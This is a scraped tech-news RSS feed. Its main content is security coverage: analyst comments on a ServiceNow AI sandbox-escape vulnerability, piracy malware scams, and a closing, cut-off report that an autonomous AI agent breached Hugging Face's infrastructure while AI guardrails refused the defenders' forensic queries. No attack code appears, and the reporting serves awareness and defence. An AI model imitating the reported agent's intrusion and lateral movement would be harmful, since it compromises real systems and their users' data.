<p class="wp-block-paragraph">“ServiceNow is aware of a cybersecurity company’s recent publication regarding exploitation activity associated with a previously disclosed security vulnerability, identified as <a href="https://support.servicenow.com/kb/kb/kb/kb?id=kb_article_view&amp;sysparm_article=KB3137947" target="_blank" rel="noreferrer noopener">CVE-2026-6875</a>. Based on our investigation to date, we have not observed evidence that this activity is related to instances that ServiceNow hosts,” the emailed statement said. “We have provided updates and patches designed to address this issue, and we encourage our self-hosted and ServiceNow-hosted customers to apply the relevant patches if they have not already done so.”</p>



<h2 class="wp-block-heading">A ‘repeatable failure point’</h2>



<p class="wp-block-paragraph">Analysts and consultants said the bigger concern with this hole is that it focuses on the lack of protections in the sandbox, which many security and IT teams have relied on for years. </p>



<p class="wp-block-paragraph">“The vulnerability lets an attacker bypass ServiceNow’s scripting sandbox entirely, and researchers are now seeing exploitation using a different technique than the one originally published, which means signature-based defenses built on the first proof of concept are unlikely to catch every variant,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. </p>



<p class="wp-block-paragraph">“A compromise that starts in the cloud tenant can end up inside the corporate network, turning a SaaS incident into an on-premises one,” he pointed out. “And because ServiceNow frequently houses HR records, CMDB asset data, and the ticketing system itself, an attacker sitting inside it may have visibility into how the incident response team is tracking the incident.”</p>



<p class="wp-block-paragraph">Dickson added that this incident is further proof that both IT and security teams need to reevaluate their patching methodologies. </p>



<p class="wp-block-paragraph">“Enterprises outsource patching for platforms like ServiceNow to the vendor, but keep the risk that comes from what those platforms touch: HR records, CMDB inventories, and now on-premises systems through MID Server integration. Control sits with the vendor, liability sits with the enterprise, and that mismatch argues for treating core SaaS platforms as part of the internal attack surface, not externalized vendor risk,” he said, noting that as vendors embed more AI-driven scripting into their platforms, the sandbox boundary becomes “a repeatable failure point.” </p>



<p class="wp-block-paragraph">Because of this, he advised, “CISOs should start asking every AI-enabled SaaS vendor how that boundary is architected and tested, before the next version of this story breaks elsewhere.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said the sandbox escape is the more disturbing element of the issue. </p>



<p class="wp-block-paragraph">“The significance is not that ServiceNow had a critical bug, so much as the fact that the bug is a sandbox escape in the AI Platform, which means the containment layer specifically built to run untrusted AI-driven code safely is the thing that failed,” he said. “CISOs have been told repeatedly that the sandbox is what makes enterprise AI safe to deploy, but we’re now seeing the sandbox breaking and that should reframe how CISOs think about every feature sitting behind a similar wall.”</p>



<h2 class="wp-block-heading">Addition of AI increases blast radius</h2>



<p class="wp-block-paragraph">This is yet another example where AI is fundamentally changing just about every IT and security rule, he pointed out.</p>



<p class="wp-block-paragraph">“Enterprises are bolting AI onto their most privileged systems of record faster than anyone is updating the threat models for those systems, and the AI layer is becoming the softest part of the hardest targets,” Kenney said. “The real question for a CISO is how many of your critical platforms shipped an AI feature in the past year, and whether a single person in your organization can tell you what that did to the pre-auth attack surface. Most cannot, and that is the actual exposure.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, agreed.</p>



<p class="wp-block-paragraph">“A vulnerability that gives an attacker a foothold in the ServiceNow instance is now also a vulnerability that gives them access to whatever AI agents are running inside that instance, along with any capability tokens, service accounts, or delegated permissions those agents hold,” Mahapatra said. “The blast radius of a ServiceNow compromise in 2026 is meaningfully larger than the same compromise would have been in 2023, and most enterprise security programs have not caught up to that shift.”</p>



<p class="wp-block-paragraph">Defused’s Kohonen said that he did not disagree with the sandbox concerns, but he stressed that enterprise CISOs have long ago abandoned the belief that sandboxes are secure. </p>



<p class="wp-block-paragraph">“Nothing is foolproof, and having a sandbox is better than not having one,” he said. “But the belief that a sandbox removes all of the risk is incredibly dumb,” especially in the reality of today’s threat landscape, which contains “an endless conveyor belt of exploits.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4198993/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Felicia Day’s Movie Kickstarter for The Guild Hit Its Goal in 3 Hours]]></title>
<description><![CDATA[Don’t call it a comeback, The Guild aims to shine a light on how nerd culture has changed in 20 years.]]></description>
<link>https://tsecurity.de/de/3682023/it-nachrichten/felicia-days-movie-kickstarter-for-the-guild-hit-its-goal-in-3-hours/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682023/it-nachrichten/felicia-days-movie-kickstarter-for-the-guild-hit-its-goal-in-3-hours/</guid>
<pubDate>Mon, 20 Jul 2026 21:17:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don’t call it a comeback, The Guild aims to shine a light on how nerd culture has changed in 20 years.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Odyssey piracy scams surface hours after its theatrical debut]]></title>
<description><![CDATA[Christopher Nolan’s The Odyssey had barely reached theaters before scammers began targeting people searching for pirated copies, according to Malwarebytes. Within hours of the film’s release, researchers found two separate scams running on cloned piracy sites: fake browser warnings and Windows ex...]]></description>
<link>https://tsecurity.de/de/3682009/it-security-nachrichten/the-odyssey-piracy-scams-surface-hours-after-its-theatrical-debut/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682009/it-security-nachrichten/the-odyssey-piracy-scams-surface-hours-after-its-theatrical-debut/</guid>
<pubDate>Mon, 20 Jul 2026 21:09:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Christopher Nolan’s The Odyssey had barely reached theaters before scammers began targeting people searching for pirated copies, according to Malwarebytes. Within hours of the film’s release, researchers found two separate scams running on cloned piracy sites: fake browser warnings and Windows executables disguised as movie downloads. “Neither scam has anything to do with the movie itself. They’re simply taking advantage of people searching for a popular new release,” Malwarebytes wrote. Fake browser warning pushes visitors … <a href="https://www.helpnetsecurity.com/2026/07/20/odyssey-movie-piracy-scams-malware/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/20/odyssey-movie-piracy-scams-malware/">The Odyssey piracy scams surface hours after its theatrical debut</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Judge pauses $110B Paramount-Warner Bros merger]]></title>
<description><![CDATA[The lawsuit from the states alleges that the deal would harm movie theaters, basic cable distributors, and audiences.]]></description>
<link>https://tsecurity.de/de/3681909/it-nachrichten/judge-pauses110b-paramount-warner-bros-merger/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681909/it-nachrichten/judge-pauses110b-paramount-warner-bros-merger/</guid>
<pubDate>Mon, 20 Jul 2026 20:02:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The lawsuit from the states alleges that the deal would harm movie theaters, basic cable distributors, and audiences.]]></content:encoded>
</item>
<item>
<title><![CDATA[Where the real competition is in AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</guid>
<pubDate>Mon, 20 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a>, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a> may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Odyssey piracy scams appear within hours of the movie’s release]]></title>
<description><![CDATA[The release of The Odyssey has already sparked a wave of piracy scams, from fake browser errors to malware masquerading as movie files. This article has been indexed from Malwarebytes Read the original article: The Odyssey piracy scams appear within…
Read more →
The post The Odyssey piracy scams ...]]></description>
<link>https://tsecurity.de/de/3681858/it-security-nachrichten/the-odyssey-piracy-scams-appear-within-hours-of-the-movies-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681858/it-security-nachrichten/the-odyssey-piracy-scams-appear-within-hours-of-the-movies-release/</guid>
<pubDate>Mon, 20 Jul 2026 19:37:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The release of The Odyssey has already sparked a wave of piracy scams, from fake browser errors to malware masquerading as movie files. This article has been indexed from Malwarebytes Read the original article: The Odyssey piracy scams appear within…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-odyssey-piracy-scams-appear-within-hours-of-the-movies-release/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-odyssey-piracy-scams-appear-within-hours-of-the-movies-release/">The Odyssey piracy scams appear within hours of the movie’s release</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV Confirms Release Date for New Movie From CODA Oscar Winner]]></title>
<description><![CDATA[Apple has revealed release dates for Being Heumann, the next film from CODA writer and director Siân Heder. The biographical drama will arrive in select theaters on November 6, 2026, followed by its Apple TV streaming release on November 13.



Being Heumann tells Judy Heumann’s story



Based on...]]></description>
<link>https://tsecurity.de/de/3681772/ios-mac-os/apple-tv-confirms-release-date-for-new-movie-from-coda-oscar-winner/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681772/ios-mac-os/apple-tv-confirms-release-date-for-new-movie-from-coda-oscar-winner/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:44 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has revealed release dates for Being Heumann, the next film from CODA writer and director Siân Heder. The biographical drama will arrive in select theaters on November 6, 2026, followed by its Apple TV streaming release on November 13.



Being Heumann tells Judy Heumann’s story



Based on Judy Heumann’s memoir, Being Heumann: An Unrepentant Memoir of a Disability Rights Activist, the film follows her fight for equal rights and accessibility in the United States.



The story focuses on the historic 1977 Section 504 sit-in, when Heumann and more than 100 disability rights protesters occupied a federal building. Their protest pushed the government to enforce protections against disability discrimination.



Ruth Madeley plays Heumann, while Mark Ruffalo appears as US government official Joseph Califano Jr. The supporting cast includes Dylan O’Brien, Rob Delaney, Ray Fisher, Daniel Durant, Jon Beavers and Roberta Colindrez.



CODA director returns to Apple TV



Heder previously wrote and directed CODA on Apple TV, which won Best Picture, Best Supporting Actor and Best Adapted Screenplay at the 2022 Academy Awards. Its Best Picture victory made Apple the first streaming service to win the Oscars’ highest film award.



According to Entertainment Weekly’s first look, Heder wanted to show the activists as complex people with humour, relationships and different personalities, rather than presenting the movement through a conventional biographical format.



Before its theatrical and streaming releases, Being Heumann will open the 2026 Toronto International Film Festival on September 10. The festival runs through September 20.



With its awards-season release plan, major cast and socially important story, Being Heumann is likely to become one of Apple TV’s most closely watched original films of 2026.]]></content:encoded>
</item>
<item>
<title><![CDATA['CODA' director returns to Apple TV with movie about disability activist Judy Heumann]]></title>
<description><![CDATA[Apple TV is to screen director Sian Heder's follow-up to the Oscar-winning "CODA," a biopic about the life of a woman who got the government to take action over the rights of disabled people.Ruth Madeley (center) as Judy Heumann in Sian Heder's "Being Heumann" - image credit: Apple TVIn 2022, Sia...]]></description>
<link>https://tsecurity.de/de/3681770/ios-mac-os/coda-director-returns-to-apple-tv-with-movie-about-disability-activist-judy-heumann/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681770/ios-mac-os/coda-director-returns-to-apple-tv-with-movie-about-disability-activist-judy-heumann/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> is to screen director Sian Heder's follow-up to the Oscar-winning "CODA," a biopic about the life of a woman who got the government to take action over the rights of disabled people.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68299-143957-000-lead-Being-Heumann-xl.jpg" alt="Group of protesters, including people in wheelchairs, blocking a city street; a woman in an orange coat leads with raised arms while others cheer and hold signs in the background" height="720"><br><span>Ruth Madeley (center) as Judy Heumann in Sian Heder's "Being Heumann" - image credit: Apple TV</span></div><br>In 2022, Sian Heder directed and co-wrote "CODA," which earned Apple TV the first-ever <a href="https://appleinsider.com/articles/22/03/28/apple-tv-original-film-coda-wins-best-picture-at-the-2022-oscars">Best Picture Oscar</a> for a streaming service. Apple <a href="https://www.apple.com/tv-pr/news/2022/03/apple-original-films-to-premiere-exhilarating-slate-of-new-films-from-award-winning-storytellers-in-2022-and-beyond/">immediately announced</a> that it was backing Heder to direct a dramatization of Judy Heumann's bestselling memoir, and the finished film is now heading for theaters and Apple TV.<br><br>Co-written by Heder and Rebekah Taussig, "Being Heumann" stars Ruth Madeley as Heumann. Best known for "Doctor Who" and Russell T. Davies's "Years and Years," Madeley has spina bifida and is wheelchair-bound.<br><br><br> <a href="https://appleinsider.com/articles/26/07/20/coda-director-returns-to-apple-tv-with-movie-about-disability-activist-judy-heumann?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245002?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘House of the Dragon’ Season 3, Episode 5 Recap: Alicent and Helaena Face a Dark Fate]]></title>
<description><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to po...]]></description>
<link>https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to power.



Spoiler warning: This recap contains major spoilers for House of the Dragon Season 3, Episode 5.




Episode title: Unbowed and Unbent



Release date: July 19, 2026



Streaming platform: HBO Max



Genre: Fantasy drama




The episode arrived on HBO and HBO Max in the United States on Sunday, July 19, while viewers in several international regions received it on Monday, July 20. New episodes continue to release weekly.



Alicent and Helaena Try to Escape the Red Keep



The most disturbing storyline follows Alicent and a pregnant Helaena, who remain prisoners inside the Red Keep after Rhaenyra’s forces captured King’s Landing.



Alicent discovers a hidden passage connected to Rhaenyra’s old bedroom and decides that it could offer them a way out. However, Helaena initially refuses to enter the tunnels because they remind her of the men who murdered her son, Jaehaerys.



She eventually follows Alicent, but their escape soon goes wrong. The narrow passage leads them deeper into the castle's hidden structure, where they become trapped without light or a clear route back.



Their situation reflects how far both women have fallen. Alicent once influenced kings and controlled the royal court, while Helaena carried the title of queen. They now find themselves buried inside the walls of the same political system that once protected them.



Daemon knows many of the Red Keep’s hidden routes, which leaves open the possibility that he could find them in Episode 6. However, their disappearance could create another serious problem for Rhaenyra’s unstable rule.



Aemond Finds Comfort With Alys Rivers







At Harrenhal, Aemond continues recovering from his injuries while struggling with nightmares and guilt. He dreams about Aegon and fears that Helaena’s warning about his death will come true.



Alys Rivers cares for him during his weakest moments. Their relationship develops with surprising tenderness as Alys helps him face his fear of losing Vhagar and his position in the war. Aemond also protects her when danger arrives, revealing a softer side rarely seen in previous seasons.



Criston Cole Prepares for His Final Battle



Criston Cole’s forces face growing resistance in the Riverlands as Oscar Tully counters his guerrilla attacks. With morale collapsing and the road to Tumbleton closing, Cole accepts that he may not survive the coming confrontation.



His speech to his remaining soldiers strongly prepares the story for the Butcher’s Ball, one of the Dance of the Dragons’ most brutal events. In the book, Cole dies after attempting to negotiate, but the series appears ready to give the confrontation a more personal focus.



Who Killed Rhaenyra’s Gold Cloaks?



The episode ends with Daemon discovering several murdered members of the City Watch, including men loyal to Rhaenyra. Their bodies have been arranged beneath a message written in blood: “A feast for traitors.”



Ormund Hightower arranged the attack as part of a larger campaign to weaken Rhaenyra’s control over King’s Landing. By targeting her enforcers and spreading anti-crown propaganda, he hopes to turn the smallfolk against her from within.



House of the Dragon Season 3, Episode 5 replaces dragon battles with fear, isolation, and political sabotage. Alicent and Helaena remain trapped, Criston prepares for a final stand, and Rhaenyra faces a growing rebellion inside her new capital.



What do you think will happen to Alicent and Helaena, and will Daemon find them before it is too late? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Odyssey piracy scams appear within hours of the movie&#8217;s release]]></title>
<description><![CDATA[The release of The Odyssey has already sparked a wave of piracy scams, from fake browser errors to malware masquerading as movie files.]]></description>
<link>https://tsecurity.de/de/3681686/it-security-nachrichten/the-odyssey-piracy-scams-appear-within-hours-of-the-movie8217s-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681686/it-security-nachrichten/the-odyssey-piracy-scams-appear-within-hours-of-the-movie8217s-release/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The release of The Odyssey has already sparked a wave of piracy scams, from fake browser errors to malware masquerading as movie files.]]></content:encoded>
</item>
<item>
<title><![CDATA[Odyssey piracy scams appear within hours of the movie’s release]]></title>
<description><![CDATA[The release of The Odyssey has already sparked a wave of piracy scams, from fake browser errors to malware masquerading as movie files. This article has been indexed from Malwarebytes Read the original article: Odyssey piracy scams appear within hours…
Read more →
The post Odyssey piracy scams ap...]]></description>
<link>https://tsecurity.de/de/3681680/it-security-nachrichten/odyssey-piracy-scams-appear-within-hours-of-the-movies-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681680/it-security-nachrichten/odyssey-piracy-scams-appear-within-hours-of-the-movies-release/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The release of The Odyssey has already sparked a wave of piracy scams, from fake browser errors to malware masquerading as movie files. This article has been indexed from Malwarebytes Read the original article: Odyssey piracy scams appear within hours…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/odyssey-piracy-scams-appear-within-hours-of-the-movies-release/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/odyssey-piracy-scams-appear-within-hours-of-the-movies-release/">Odyssey piracy scams appear within hours of the movie’s release</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT Security News Hourly Summary 2026-07-20 18h : 17 posts]]></title>
<description><![CDATA[17 posts were published in the last hour 16:5 : Hackers are exploiting recently patched WordPress bugs, putting millions of websites at risk 16:4 : Odyssey piracy scams appear within hours of the movie’s release 15:34 : WordPress Remote Code…
Read more →
The post IT Security News Hourly Summary 2...]]></description>
<link>https://tsecurity.de/de/3681678/it-security-nachrichten/it-security-news-hourly-summary-2026-07-20-18h-17-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681678/it-security-nachrichten/it-security-news-hourly-summary-2026-07-20-18h-17-posts/</guid>
<pubDate>Mon, 20 Jul 2026 18:59:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>17 posts were published in the last hour 16:5 : Hackers are exploiting recently patched WordPress bugs, putting millions of websites at risk 16:4 : Odyssey piracy scams appear within hours of the movie’s release 15:34 : WordPress Remote Code…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-20-18h-17-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-20-18h-17-posts/">IT Security News Hourly Summary 2026-07-20 18h : 17 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]></title>
<description><![CDATA[Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploi...]]></description>
<link>https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.</p><p>The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.</p><p>Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.</p><p>None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”</p><h2><b>A malicious dataset opened two code-execution paths</b></h2><p>On July 16, Hugging Face <a href="https://huggingface.co/blog/security-incident-july-2026">disclosed</a> that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. </p><p>Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties 